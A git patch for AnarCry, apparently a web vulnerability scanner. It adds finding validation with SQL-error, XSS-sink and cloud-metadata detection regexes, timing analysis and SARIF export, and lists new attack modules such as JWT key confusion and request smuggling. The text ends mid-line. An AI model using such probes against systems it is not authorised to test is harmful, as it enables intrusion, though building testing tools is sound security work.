From e2914a9f6f9c043c72c225f66254d4f3c20415ba Mon Sep 17 00:00:00 2001 From: Michael Douglas Date: Tue, 10 Nov 2026 17:57:50 -0300 Subject: [PATCH 1/4] feat: AnarCry v2.1.0 - 9 new scanner modules, OAST infra, SARIF export, FP reduction New scanner modules: - CSRF detection (token validation, SameSite, referer bypass) - Secrets/credential discovery (17 patterns: AWS, GCP, GitHub, Slack, etc.) - Race condition scanner (concurrent request analysis, state inconsistency) - NoSQL injection (MongoDB operator injection, auth bypass) - Insecure deserialization (Java, PHP, Python, .NET gadget detection) - File upload bypass (extension, content-type, magic byte manipulation) - Subdomain takeover (dangling CNAME detection, service fingerprinting) - WebSocket security (origin validation, unauth endpoint detection) - Prototype pollution (__proto__, constructor.prototype injection) - Cloud misconfiguration (S3/Azure/GCS public access, metadata endpoint) OAST infrastructure: - OastServer with HTTP/DNS callback handling - OastCorrelator for blind vulnerability confirmation - Integrated into SSRF, XXE, SQLi, CmdInjection modules Module enhancements: - JWT++: x5c chain, x5u cert, key confusion (RS256->HS256) probes - GraphQL++: mutation testing, nested DoS, batching bypass, field suggestion leak - XXE++: SVG upload, SAML, XInclude, content-type switching - HTTP/2 Smuggling: H2.CL, H2.TE, header manipulation, CRLF injection SARIF v2.1.0 export with full CWE/CVSS mapping FP reduction: echo detection, module-specific validation hooks, structural HTML comparison, statistical timing analysis --- src/main/java/gg/effront/anarcry/Main.java | 18 +- .../exploit/validator/BaselineDiffer.java | 91 +- .../exploit/validator/FindingValidator.java | 185 +- .../exploit/validator/TimingAnalyzer.java | 37 + .../gui/components/GuiModulesPanel.java | 10 + .../anarcry/gui/views/ExportDialog.java | 13 +- .../effront/anarcry/report/ReportEngine.java | 132 +- .../effront/anarcry/scanner/ScanConfig.java | 27 +- .../effront/anarcry/scanner/ScanContext.java | 23 +- .../anarcry/scanner/ScanOrchestrator.java | 6 +- .../effront/anarcry/scanner/ScanRunner.java | 242 +- .../anarcry/scanner/crypto/jwt/JwtModule.java | 13 + .../scanner/crypto/jwt/KeyConfusionProbe.java | 235 + .../scanner/crypto/jwt/X5cChainProbe.java | 143 + .../scanner/crypto/jwt/X5uCertProbe.java | 167 + .../anarcry/scanner/oast/OastCallback.java | 9 + .../anarcry/scanner/oast/OastConfig.java | 35 + .../anarcry/scanner/oast/OastCorrelator.java | 105 + .../anarcry/scanner/oast/OastPayload.java | 9 + .../anarcry/scanner/oast/OastServer.java | 170 + .../web/cloud/CloudMisconfigModule.java | 496 ++ .../web/cmdinject/CommandInjectionModule.java | 61 + .../anarcry/scanner/web/csrf/CsrfModule.java | 468 ++ .../web/deser/DeserializationModule.java | 518 ++ .../scanner/web/graphql/GraphQLModule.java | 351 +- .../web/nosqli/NoSqlInjectionModule.java | 376 ++ .../PrototypePollutionModule.java | 351 ++ .../scanner/web/race/RaceConditionModule.java | 446 ++ .../scanner/web/secrets/SecretsModule.java | 282 + .../web/smuggling/RequestSmugglingModule.java | 422 +- .../scanner/web/sqli/SqlInjectionModule.java | 62 + .../anarcry/scanner/web/ssrf/SsrfModule.java | 31 + .../subtakeover/SubdomainTakeoverModule.java | 259 + .../scanner/web/upload/FileUploadModule.java | 472 ++ .../web/websocket/WebSocketModule.java | 288 + .../anarcry/scanner/web/xxe/XxeModule.java | 16 + .../gg/effront/anarcry/tui/AnarCryTui.java | 19 + .../anarcry/tui/chrome/ActionPalette.java | 2 +- .../anarcry/tui/panels/ModulesPanel.java | 70 + src/main/resources/knowledge_base.json | 5486 +++++++++-------- .../anarcry/model/KnowledgeBaseTest.java | 10 +- .../anarcry/scanner/oast/OastConfigTest.java | 50 + .../scanner/oast/OastCorrelatorTest.java | 90 + .../anarcry/scanner/oast/OastServerTest.java | 121 + 44 files changed, 9765 insertions(+), 2652 deletions(-) create mode 100644 src/main/java/gg/effront/anarcry/scanner/crypto/jwt/KeyConfusionProbe.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/crypto/jwt/X5cChainProbe.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/crypto/jwt/X5uCertProbe.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/oast/OastCallback.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/oast/OastConfig.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/oast/OastCorrelator.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/oast/OastPayload.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/oast/OastServer.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/web/cloud/CloudMisconfigModule.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/web/csrf/CsrfModule.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/web/deser/DeserializationModule.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/web/nosqli/NoSqlInjectionModule.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/web/protopollution/PrototypePollutionModule.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/web/race/RaceConditionModule.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/web/secrets/SecretsModule.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/web/subtakeover/SubdomainTakeoverModule.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/web/upload/FileUploadModule.java create mode 100644 src/main/java/gg/effront/anarcry/scanner/web/websocket/WebSocketModule.java create mode 100644 src/test/java/gg/effront/anarcry/scanner/oast/OastConfigTest.java create mode 100644 src/test/java/gg/effront/anarcry/scanner/oast/OastCorrelatorTest.java create mode 100644 src/test/java/gg/effront/anarcry/scanner/oast/OastServerTest.java diff --git a/src/main/java/gg/effront/anarcry/Main.java b/src/main/java/gg/effront/anarcry/Main.java index 35d370e..930b22b 100644 --- a/src/main/java/gg/effront/anarcry/Main.java +++ b/src/main/java/gg/effront/anarcry/Main.java @@ -27,6 +27,7 @@ public static void main(String[] args) throws Exception { boolean headless = false; boolean tui = false; String target = null; + String format = "anarcry"; int timeoutMinutes = HEADLESS_TIMEOUT_MINUTES; int idx = 0; @@ -50,6 +51,9 @@ public static void main(String[] args) throws Exception { } else if ("--timeout".equals(arg) && idx + 1 < args.length) { timeoutMinutes = Integer.parseInt(args[idx + 1]); idx += 2; + } else if ("--format".equals(arg) && idx + 1 < args.length) { + format = args[idx + 1]; + idx += 2; } else { idx++; } @@ -66,7 +70,7 @@ public static void main(String[] args) throws Exception { } if (headless) { - runHeadless(env, target, timeoutMinutes); + runHeadless(env, target, timeoutMinutes, format); } else if (tui) { new AnarCryTui().start(env); } else { @@ -74,7 +78,8 @@ public static void main(String[] args) throws Exception { } } - private static void runHeadless(EnvLoader env, String targetArg, int timeoutMinutes) throws Exception { + private static void runHeadless(EnvLoader env, String targetArg, int timeoutMinutes, String format) + throws Exception { String target = targetArg; String jwt1 = ""; String jwt2 = ""; @@ -123,7 +128,14 @@ private static void runHeadless(EnvLoader env, String targetArg, int timeoutMinu .forEach(f -> System.out.printf(" %-8s [%s] %s%n", f.severity(), f.module(), f.title())); if (!findings.isEmpty()) { - String report = new ReportEngine().export(new ArrayList<>(findings), target); + ReportEngine engine = new ReportEngine(); + List snapshot = new ArrayList<>(findings); + String report = switch (format.toLowerCase()) { + case "h1" -> engine.exportH1(snapshot, target, "AnarCry Scan"); + case "bugcrowd" -> engine.exportBugcrowd(snapshot, target); + case "sarif" -> engine.exportSarif(snapshot, target); + default -> engine.export(snapshot, target); + }; System.out.println("\n[*] Report: " + report); } } diff --git a/src/main/java/gg/effront/anarcry/exploit/validator/BaselineDiffer.java b/src/main/java/gg/effront/anarcry/exploit/validator/BaselineDiffer.java index 20841d0..82ffeba 100644 --- a/src/main/java/gg/effront/anarcry/exploit/validator/BaselineDiffer.java +++ b/src/main/java/gg/effront/anarcry/exploit/validator/BaselineDiffer.java @@ -1,20 +1,81 @@ package gg.effront.anarcry.exploit.validator; +import java.util.ArrayList; import java.util.HashSet; +import java.util.List; +import java.util.regex.Matcher; import java.util.regex.Pattern; public final class BaselineDiffer { - private static final double SIMILARITY_THRESHOLD = 0.85; + private static final double DEFAULT_SIMILARITY_THRESHOLD = 0.85; private static final Pattern DYNAMIC_CONTENT = Pattern .compile("(?:\"(?:timestamp|nonce|csrf|requestId|traceId|date)\"\\s*:\\s*\"[^\"]*\")" + "|(?:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})" + "|(?:\\d{10,13})"); + private static final Pattern HTML_TAG = Pattern.compile("<[^>]+>"); + private BaselineDiffer() { } + /** + * Original flat-threshold comparison -- uses default 0.85 threshold for all + * modules. + */ public static boolean isSignificantlyDifferent(String baseline, String withPayload) { + return isSignificantlyDifferent(baseline, withPayload, DEFAULT_SIMILARITY_THRESHOLD); + } + + /** + * Module-aware comparison -- uses a per-module Jaccard similarity threshold. + * Error-based injection modules (SQLi, CmdInjection) use a lower threshold + * because even small changes in the response body can indicate successful + * injection. XSS uses a higher threshold because reflection typically causes + * more visible changes. + */ + public static boolean isSignificantlyDifferent(String baseline, String withPayload, String module) { + double threshold = thresholdForModule(module); + return isSignificantlyDifferent(baseline, withPayload, threshold); + } + + public static boolean isSignificantlyDifferent(int baselineStatus, int payloadStatus) { + if (baselineStatus == payloadStatus) { + return false; + } + int baseClass = baselineStatus / 100; + int payloadClass = payloadStatus / 100; + return baseClass != payloadClass; + } + + /** + * Structural HTML comparison -- strips all text content and compares only the + * HTML tag skeleton. This catches XSS injection where new tags are introduced + * (e.g. script, img onerror) even when the Jaccard similarity on full text + * misses the difference. + */ + public static boolean isStructurallyDifferent(String baseline, String withPayload) { + if (baseline == null && withPayload == null) { + return false; + } + if (baseline == null || withPayload == null) { + return true; + } + String baseStructure = extractTagStructure(baseline); + String payloadStructure = extractTagStructure(withPayload); + return !baseStructure.equals(payloadStructure); + } + + static double thresholdForModule(String module) { + return switch (module) { + case "SQLi", "CmdInjection" -> 0.70; // error-based injection changes little + case "XSS" -> 0.90; // XSS reflection usually changes more + case "SSRF", "LFI" -> 0.75; // file inclusion changes response significantly + default -> 0.85; + }; + } + + private static boolean isSignificantlyDifferent(String baseline, String withPayload, double threshold) { if (baseline == null && withPayload == null) { return false; } @@ -27,16 +88,7 @@ public static boolean isSignificantlyDifferent(String baseline, String withPaylo return false; } double similarity = jaccardSimilarity(normBase, normPayload); - return similarity < SIMILARITY_THRESHOLD; - } - - public static boolean isSignificantlyDifferent(int baselineStatus, int payloadStatus) { - if (baselineStatus == payloadStatus) { - return false; - } - int baseClass = baselineStatus / 100; - int payloadClass = payloadStatus / 100; - return baseClass != payloadClass; + return similarity < threshold; } private static String normalize(String s) { @@ -47,8 +99,8 @@ private static double jaccardSimilarity(String a, String b) { if (a.isEmpty() && b.isEmpty()) { return 1.0; } - var setA = new java.util.HashSet(); - var setB = new java.util.HashSet(); + var setA = new HashSet(); + var setB = new HashSet(); for (String word : a.split("\\s+")) { setA.add(word); } @@ -64,4 +116,17 @@ private static double jaccardSimilarity(String a, String b) { } return (double) intersection.size() / union.size(); } + + /** + * Extracts all HTML tags from the input and joins them into a single structure + * string. + */ + private static String extractTagStructure(String html) { + Matcher m = HTML_TAG.matcher(html); + List tags = new ArrayList<>(); + while (m.find()) { + tags.add(m.group()); + } + return String.join("", tags); + } } diff --git a/src/main/java/gg/effront/anarcry/exploit/validator/FindingValidator.java b/src/main/java/gg/effront/anarcry/exploit/validator/FindingValidator.java index 8e9283d..9ef5472 100644 --- a/src/main/java/gg/effront/anarcry/exploit/validator/FindingValidator.java +++ b/src/main/java/gg/effront/anarcry/exploit/validator/FindingValidator.java @@ -1,7 +1,7 @@ package gg.effront.anarcry.exploit.validator; -import gg.effront.anarcry.exploit.Exploiter; import gg.effront.anarcry.exploit.ExploitResult; +import gg.effront.anarcry.exploit.Exploiter; import gg.effront.anarcry.model.Finding; import gg.effront.anarcry.scanner.ScanContext; import gg.effront.anarcry.scanner.util.Http; @@ -22,8 +22,25 @@ public class FindingValidator implements Exploiter { "method not allowed", "405", "bad request", "400", "internal server error", "500", "service unavailable", "503"); + /** + * Modules whose expected evidence IS error messages -- do not flag as + * generic-error FP. + */ + private static final Set ERROR_BASED_MODULES = Set.of("SQLi", "CmdInjection", "LFI"); + private static final Pattern WAF_BLOCK_PATTERN = Pattern - .compile("(?i)(access denied|blocked|security|captcha|challenge|cloudflare|akamai|waf|firewall)"); + .compile("(?i)(access denied|blocked|security|captcha|challenge|cloudflare|akamai|waf|firewall" + + "|rate limit exceeded|too many requests|request blocked by)"); + + private static final Pattern SQL_ERROR_PATTERN = Pattern + .compile("(?i)(You have an error in your SQL syntax|mysql_fetch|ERROR:\\s*syntax error|pg_query" + + "|Unclosed quotation mark|Microsoft OLE DB)"); + + private static final Pattern XSS_SINK_PATTERN = Pattern.compile("(?i)(]*>|onerror\\s*=|javascript:)"); + + private static final Pattern INTERNAL_IP_PATTERN = Pattern + .compile("(?:127\\.0\\.0\\.1|10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}" + + "|192\\.168\\.\\d{1,3}\\.\\d{1,3}|169\\.254\\.169\\.254|metadata\\.google\\.internal)"); @Override public String id() { @@ -39,7 +56,8 @@ public boolean canExploit(Finding finding) { public ExploitResult exploit(Finding finding, ScanContext ctx, Consumer log) throws Exception { String evidence = finding.evidence() != null ? finding.evidence().toLowerCase() : ""; - if (isGenericError(evidence)) { + // Only flag generic-error FP for modules that do NOT rely on error messages + if (!ERROR_BASED_MODULES.contains(finding.module()) && isGenericError(evidence)) { return ExploitResult.falsePositive(finding, "Evidence matches generic error pattern, not a real vulnerability indicator"); } @@ -68,10 +86,10 @@ public ExploitResult exploit(Finding finding, ScanContext ctx, Consumer int baseStatus = baseResp.statusCode(); if (finding.module().equals("ReqSmuggling")) { - if (baseTime > TimingAnalyzer.DEFAULT_THRESHOLD_MS) { - return ExploitResult.confirmed( - finding, "curl -s -o /dev/null -w '%{time_total}' " + endpoint, "Baseline response time: " - + baseTime + "ms (exceeds " + TimingAnalyzer.DEFAULT_THRESHOLD_MS + "ms threshold)", + if (baseTime > TimingAnalyzer.thresholdForModule("ReqSmuggling")) { + return ExploitResult.confirmed(finding, "curl -s -o /dev/null -w '%{time_total}' " + endpoint, + "Baseline response time: " + baseTime + "ms (exceeds " + + TimingAnalyzer.thresholdForModule("ReqSmuggling") + "ms threshold)", "Request smuggling timing anomaly confirmed", 0.7); } } @@ -89,16 +107,32 @@ public ExploitResult exploit(Finding finding, ScanContext ctx, Consumer long payloadTime = System.currentTimeMillis() - payloadStart; String payloadBody = payloadResp.body() != null ? payloadResp.body() : ""; - if (TimingAnalyzer.hasTimingAnomaly(baseTime, payloadTime)) { + // --- Response echo detection --- + // If the finding's payload/evidence is reflected in the payload response, + // the injection point is likely real + ExploitResult echoResult = checkPayloadEcho(finding, payloadBody); + if (echoResult != null) { + return echoResult; + } + + // --- Module-specific validation hooks --- + ExploitResult moduleResult = runModuleValidation(finding, baseBody, payloadBody, baseTime, payloadTime); + if (moduleResult != null) { + return moduleResult; + } + + // --- Generic timing analysis --- + if (TimingAnalyzer.hasTimingAnomaly(baseTime, payloadTime, finding.module())) { return ExploitResult.confirmed(finding, "curl -s -o /dev/null -w '%{time_total}' '" + endpoint + "'", "Timing anomaly: baseline=" + baseTime + "ms, payload=" + payloadTime + "ms", "Blind injection timing signal detected", 0.6); } - if (!BaselineDiffer.isSignificantlyDifferent(baseBody, payloadBody) + // --- Baseline body/status comparison --- + if (!BaselineDiffer.isSignificantlyDifferent(baseBody, payloadBody, finding.module()) && !BaselineDiffer.isSignificantlyDifferent(baseStatus, payloadResp.statusCode())) { - if (isRedirectBased(finding)) { + if (isRedirectBased(finding, baseResp, payloadResp)) { return ExploitResult.falsePositive(finding, "Finding only present on redirect responses, not on the final destination"); } @@ -112,6 +146,119 @@ public ExploitResult exploit(Finding finding, ScanContext ctx, Consumer return ExploitResult.needsManual(finding); } + // ---- Response echo detection ---- + + /** + * Checks whether the finding's key payload or evidence string appears reflected + * in the payload response body. If so, the injection point is real -- the + * server is echoing our input without sanitization. + */ + private static ExploitResult checkPayloadEcho(Finding finding, String payloadBody) { + if (payloadBody.isEmpty()) { + return null; + } + String rawEvidence = finding.evidence(); + if (rawEvidence == null || rawEvidence.isBlank()) { + return null; + } + // Use a meaningful substring of evidence (skip very short or purely numeric + // evidence) + String probe = rawEvidence.trim(); + if (probe.length() < 6 || probe.matches("\\d+")) { + return null; + } + if (payloadBody.contains(probe)) { + return ExploitResult.confirmed(finding, + "curl -s '" + finding.endpoint() + "' | grep -F '" + probe.replace("'", "'\\''") + "'", + "Payload echo detected in response", + "The injected payload is reflected verbatim in the server response", 0.75); + } + return null; + } + + // ---- Module-specific validation hooks ---- + + /** + * Routes to the appropriate module-specific validator. Returns null if no + * module-specific check applies or the check is inconclusive. + */ + private static ExploitResult runModuleValidation(Finding finding, String baseBody, String payloadBody, + long baseTime, long payloadTime) { + return switch (finding.module()) { + case "SQLi" -> validateSqli(finding, baseBody, payloadBody, baseTime, payloadTime); + case "XSS" -> validateXss(finding, baseBody, payloadBody); + case "SSRF" -> validateSsrf(finding, baseBody, payloadBody); + default -> null; + }; + } + + /** + * SQLi-specific: checks for database error strings in the payload response that + * were not present in the baseline. Database errors triggered by injection are + * strong confirmation. + */ + private static ExploitResult validateSqli(Finding finding, String baseBody, String payloadBody, long baseTime, + long payloadTime) { + // Skip if baseline already contains SQL error tokens (anti-FP) + if (SQL_ERROR_PATTERN.matcher(baseBody).find()) { + return null; + } + if (SQL_ERROR_PATTERN.matcher(payloadBody).find()) { + return ExploitResult.confirmed(finding, + finding.reproduction() != null ? finding.reproduction() : "curl '" + finding.endpoint() + "'", + "SQL error string detected in payload response: " + + extractFirstMatch(SQL_ERROR_PATTERN, payloadBody), + "Error-based SQL injection confirmed -- database error triggered by payload", 0.85); + } + return null; + } + + /** + * XSS-specific: checks if the canary/payload from the finding's evidence + * appears unescaped in the response and if dangerous HTML sinks are present in + * the payload response. + */ + private static ExploitResult validateXss(Finding finding, String baseBody, String payloadBody) { + // Check for structural HTML difference (new tags injected) + if (BaselineDiffer.isStructurallyDifferent(baseBody, payloadBody)) { + if (XSS_SINK_PATTERN.matcher(payloadBody).find() && !XSS_SINK_PATTERN.matcher(baseBody).find()) { + return ExploitResult.confirmed(finding, + finding.reproduction() != null ? finding.reproduction() : "curl '" + finding.endpoint() + "'", + "XSS sink tag detected in payload response: " + + extractFirstMatch(XSS_SINK_PATTERN, payloadBody), + "Reflected XSS confirmed -- unescaped HTML sink injected into response", 0.8); + } + } + return null; + } + + /** + * SSRF-specific: checks if the payload response contains internal IP addresses + * or cloud metadata responses that indicate the server followed an internal + * redirect. + */ + private static ExploitResult validateSsrf(Finding finding, String baseBody, String payloadBody) { + // Skip if baseline already contains internal IPs + if (INTERNAL_IP_PATTERN.matcher(baseBody).find()) { + return null; + } + if (INTERNAL_IP_PATTERN.matcher(payloadBody).find()) { + return ExploitResult.confirmed(finding, + finding.reproduction() != null ? finding.reproduction() : "curl '" + finding.endpoint() + "'", + "Internal IP/metadata pattern detected in payload response: " + + extractFirstMatch(INTERNAL_IP_PATTERN, payloadBody), + "SSRF confirmed -- server response contains internal network indicators", 0.7); + } + return null; + } + + // ---- Utility methods ---- + + private static String extractFirstMatch(Pattern pattern, String text) { + var matcher = pattern.matcher(text); + return matcher.find() ? matcher.group() : ""; + } + private static boolean isGenericError(String evidence) { for (String pattern : GENERIC_ERROR_PATTERNS) { if (evidence.equals(pattern) || evidence.equals("error: " + pattern)) { @@ -121,9 +268,23 @@ private static boolean isGenericError(String evidence) { return evidence.length() < 10 && evidence.matches("\\d{3}"); } - private static boolean isRedirectBased(Finding finding) { + /** + * Redirect-based FP check -- only flags as FP when the redirect Location + * targets the SAME URL in both the baseline and the payload response. A + * different redirect target after injection may indicate a real open-redirect + * or SSRF. + */ + private static boolean isRedirectBased(Finding finding, HttpResponse baseResp, + HttpResponse payloadResp) { String evidence = finding.evidence() != null ? finding.evidence().toLowerCase() : ""; - return evidence.contains("redirect") || evidence.contains("301") || evidence.contains("302") + boolean looksRedirect = evidence.contains("redirect") || evidence.contains("301") || evidence.contains("302") || evidence.contains("location:"); + if (!looksRedirect) { + return false; + } + String baseLocation = baseResp.headers().firstValue("location").orElse(""); + String payloadLocation = payloadResp.headers().firstValue("location").orElse(""); + // Only FP if both redirect to the same destination + return !baseLocation.isEmpty() && baseLocation.equals(payloadLocation); } } diff --git a/src/main/java/gg/effront/anarcry/exploit/validator/TimingAnalyzer.java b/src/main/java/gg/effront/anarcry/exploit/validator/TimingAnalyzer.java index 3178054..ce5e1d1 100644 --- a/src/main/java/gg/effront/anarcry/exploit/validator/TimingAnalyzer.java +++ b/src/main/java/gg/effront/anarcry/exploit/validator/TimingAnalyzer.java @@ -14,4 +14,41 @@ public static boolean hasTimingAnomaly(long baselineMs, long payloadMs, int thre public static boolean hasTimingAnomaly(long baselineMs, long payloadMs) { return hasTimingAnomaly(baselineMs, payloadMs, DEFAULT_THRESHOLD_MS); } + + /** Overload that uses a module-specific threshold. */ + public static boolean hasTimingAnomaly(long baselineMs, long payloadMs, String module) { + return hasTimingAnomaly(baselineMs, payloadMs, (int) thresholdForModule(module)); + } + + /** + * Returns the timing threshold in milliseconds appropriate for the given + * module. + */ + public static long thresholdForModule(String module) { + return switch (module) { + case "SQLi" -> 5000; // time-based blind uses SLEEP(5) + case "CmdInjection" -> 3000; + case "ReqSmuggling" -> 3000; + default -> 3000; + }; + } + + /** + * Statistical timing analysis using median of multiple samples. Reduces noise + * from single outlier measurements by comparing medians of baseline and payload + * sample sets. + */ + public static boolean hasTimingAnomalyStatistical(long[] baselineSamples, long[] payloadSamples, long thresholdMs) { + long baseMedian = median(baselineSamples); + long payloadMedian = median(payloadSamples); + return (payloadMedian - baseMedian) > thresholdMs; + } + + /** Computes the median of a sample array. */ + static long median(long[] samples) { + long[] sorted = samples.clone(); + java.util.Arrays.sort(sorted); + int mid = sorted.length / 2; + return sorted.length % 2 == 0 ? (sorted[mid - 1] + sorted[mid]) / 2 : sorted[mid]; + } } diff --git a/src/main/java/gg/effront/anarcry/gui/components/GuiModulesPanel.java b/src/main/java/gg/effront/anarcry/gui/components/GuiModulesPanel.java index 50f310e..6a883f4 100644 --- a/src/main/java/gg/effront/anarcry/gui/components/GuiModulesPanel.java +++ b/src/main/java/gg/effront/anarcry/gui/components/GuiModulesPanel.java @@ -109,6 +109,16 @@ public GuiModulesPanel() { checksPanel.add(moduleCheck("XSS", true)); checksPanel.add(moduleCheck("LFI", true)); checksPanel.add(moduleCheck("CmdInjection", true)); + checksPanel.add(moduleCheck("CSRF", true)); + checksPanel.add(moduleCheck("Secrets", true)); + checksPanel.add(moduleCheck("RaceCondition", false)); + checksPanel.add(moduleCheck("NoSQLi", true)); + checksPanel.add(moduleCheck("Deserialization", true)); + checksPanel.add(moduleCheck("FileUpload", false)); + checksPanel.add(moduleCheck("SubTakeover", true)); + checksPanel.add(moduleCheck("WebSocket", true)); + checksPanel.add(moduleCheck("ProtoPollution", true)); + checksPanel.add(moduleCheck("CloudMisconfig", true)); checksPanel.add(moduleCheck("IDOR", false)); checksPanel.add(Box.createVerticalStrut(12)); diff --git a/src/main/java/gg/effront/anarcry/gui/views/ExportDialog.java b/src/main/java/gg/effront/anarcry/gui/views/ExportDialog.java index 6a19f0d..f2c9bd0 100644 --- a/src/main/java/gg/effront/anarcry/gui/views/ExportDialog.java +++ b/src/main/java/gg/effront/anarcry/gui/views/ExportDialog.java @@ -22,7 +22,7 @@ import javax.swing.JTextField; /** - * Modal export dialog supporting Markdown+JSON, HackerOne, and Bugcrowd + * Modal export dialog supporting Markdown+JSON, HackerOne, Bugcrowd, and SARIF * formats. Delegates to {@link ReportEngine} for file generation. */ public class ExportDialog extends JDialog { @@ -33,6 +33,7 @@ public class ExportDialog extends JDialog { private final JRadioButton mdRadio; private final JRadioButton h1Radio; private final JRadioButton bugcrowdRadio; + private final JRadioButton sarifRadio; private final JTextField programField; private final JLabel programLabel; @@ -41,7 +42,7 @@ public ExportDialog(JFrame parent, List findings, String targetUrl) { this.findings = findings; this.targetUrl = targetUrl; - setSize(500, 320); + setSize(500, 350); setLocationRelativeTo(parent); setLayout(new BorderLayout(8, 8)); @@ -67,10 +68,15 @@ public ExportDialog(JFrame parent, List findings, String targetUrl) { bugcrowdRadio = new JRadioButton("Bugcrowd"); formPanel.add(bugcrowdRadio, gbc); + gbc.gridy++; + sarifRadio = new JRadioButton("SARIF (CI/CD)"); + formPanel.add(sarifRadio, gbc); + ButtonGroup group = new ButtonGroup(); group.add(mdRadio); group.add(h1Radio); group.add(bugcrowdRadio); + group.add(sarifRadio); gbc.gridy++; gbc.insets = new Insets(12, 4, 4, 4); @@ -89,6 +95,7 @@ public ExportDialog(JFrame parent, List findings, String targetUrl) { h1Radio.addActionListener(e -> toggleProgramField()); mdRadio.addActionListener(e -> toggleProgramField()); bugcrowdRadio.addActionListener(e -> toggleProgramField()); + sarifRadio.addActionListener(e -> toggleProgramField()); add(formPanel, BorderLayout.CENTER); @@ -128,6 +135,8 @@ private void doExport() { path = engine.exportH1(findings, targetUrl, program); } else if (bugcrowdRadio.isSelected()) { path = engine.exportBugcrowd(findings, targetUrl); + } else if (sarifRadio.isSelected()) { + path = engine.exportSarif(findings, targetUrl); } else { path = engine.export(findings, targetUrl); } diff --git a/src/main/java/gg/effront/anarcry/report/ReportEngine.java b/src/main/java/gg/effront/anarcry/report/ReportEngine.java index 9652623..d5510d6 100644 --- a/src/main/java/gg/effront/anarcry/report/ReportEngine.java +++ b/src/main/java/gg/effront/anarcry/report/ReportEngine.java @@ -2,6 +2,7 @@ import com.google.gson.Gson; import com.google.gson.GsonBuilder; +import gg.effront.anarcry.Version; import gg.effront.anarcry.exploit.ExploitStatus; import gg.effront.anarcry.exploit.ValidatedFinding; import gg.effront.anarcry.model.Finding; @@ -492,6 +493,132 @@ public String exportBugcrowd(List findings, String targetUrl, List findings, String targetUrl) throws IOException { + return exportSarif(findings, targetUrl, List.of(), List.of()); + } + + public String exportSarif(List findings, String targetUrl, List testedModules, + List testedClean) throws IOException { + List sorted = findings.stream().sorted(Comparator.comparingInt(f -> ORDER.indexOf(f.severity()))) + .toList(); + + // Build top-level SARIF structure + Map sarif = new LinkedHashMap<>(); + sarif.put("$schema", + "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json"); + sarif.put("version", "2.1.0"); + + // Build the single run + Map run = new LinkedHashMap<>(); + + // Tool descriptor + Map driver = new LinkedHashMap<>(); + driver.put("name", "AnarCry"); + driver.put("version", Version.get()); + driver.put("informationUri", "https://github.com/effront/anarcry"); + + // Rules -- one per unique module + Map> byModule = groupByRootCause(sorted); + List> rules = new ArrayList<>(); + int ruleIndex = 0; + Map ruleIndexMap = new LinkedHashMap<>(); + + for (var entry : byModule.entrySet()) { + String module = entry.getKey(); + Finding rep = entry.getValue().getFirst(); + KnowledgeEntry kbEntry = resolveKb(module); + + Map rule = new LinkedHashMap<>(); + rule.put("id", module); + rule.put("shortDescription", Map.of("text", rep.title())); + + String fullDesc = kbEntry != null && kbEntry.description() != null && !kbEntry.description().isBlank() + ? kbEntry.description() + : rep.impact(); + rule.put("fullDescription", Map.of("text", safe(fullDesc))); + + String helpText = kbEntry != null && kbEntry.recommendation() != null && !kbEntry.recommendation().isBlank() + ? kbEntry.recommendation() + : rep.recommendation(); + rule.put("help", Map.of("text", safe(helpText))); + + Map ruleProps = new LinkedHashMap<>(); + List tags = new ArrayList<>(); + tags.add(rep.cweId()); + if (kbEntry != null && kbEntry.cweTitle() != null) { + tags.add(kbEntry.cweTitle()); + } + ruleProps.put("tags", tags); + ruleProps.put("precision", "medium"); + rule.put("properties", ruleProps); + + rules.add(rule); + ruleIndexMap.put(module, ruleIndex++); + } + driver.put("rules", rules); + run.put("tool", Map.of("driver", driver)); + + // Results -- one per finding + List> results = new ArrayList<>(); + for (Finding f : sorted) { + Map result = new LinkedHashMap<>(); + result.put("ruleId", f.module()); + Integer ri = ruleIndexMap.get(f.module()); + if (ri != null) { + result.put("ruleIndex", ri); + } + result.put("level", sarifLevel(f.severity())); + result.put("message", Map.of("text", f.title() + " -- " + safe(f.evidence()))); + + // Location + Map artifactLocation = new LinkedHashMap<>(); + artifactLocation.put("uri", f.endpoint()); + Map physicalLocation = Map.of("artifactLocation", artifactLocation); + result.put("locations", List.of(Map.of("physicalLocation", physicalLocation))); + + // Custom properties + Map resultProps = new LinkedHashMap<>(); + resultProps.put("cvssScore", f.cvssScore()); + resultProps.put("cvssVector", safe(f.cvssVector())); + resultProps.put("severity", f.severity().name()); + resultProps.put("impact", safe(f.impact())); + resultProps.put("reproduction", safe(f.reproduction())); + resultProps.put("cweId", f.cweId()); + result.put("properties", resultProps); + + results.add(result); + } + run.put("results", results); + + // Invocation with target + Map invocation = new LinkedHashMap<>(); + invocation.put("executionSuccessful", true); + invocation.put("commandLine", "anarcry --target " + targetUrl); + run.put("invocations", List.of(invocation)); + + sarif.put("runs", List.of(run)); + + // Write file + String json = GSON.toJson(sarif); + String timestamp = LocalDateTime.now().format(FMT); + Files.createDirectories(REPORTS_DIR); + Path path = REPORTS_DIR.resolve("sarif-report-" + timestamp + ".sarif.json"); + Files.writeString(path, json); + return path.toString(); + } + + private static String sarifLevel(Severity severity) { + return switch (severity) { + case CRITICAL, HIGH -> "error"; + case MEDIUM -> "warning"; + case LOW, INFO -> "note"; + }; + } + // ------------------------------------------------------------------------- // Unified platform export // ------------------------------------------------------------------------- @@ -506,8 +633,9 @@ public String exportPlatform(List findings, String targetUrl, String pl return switch (platform.toLowerCase()) { case "h1" -> exportH1(findings, targetUrl, programName, testedModules, 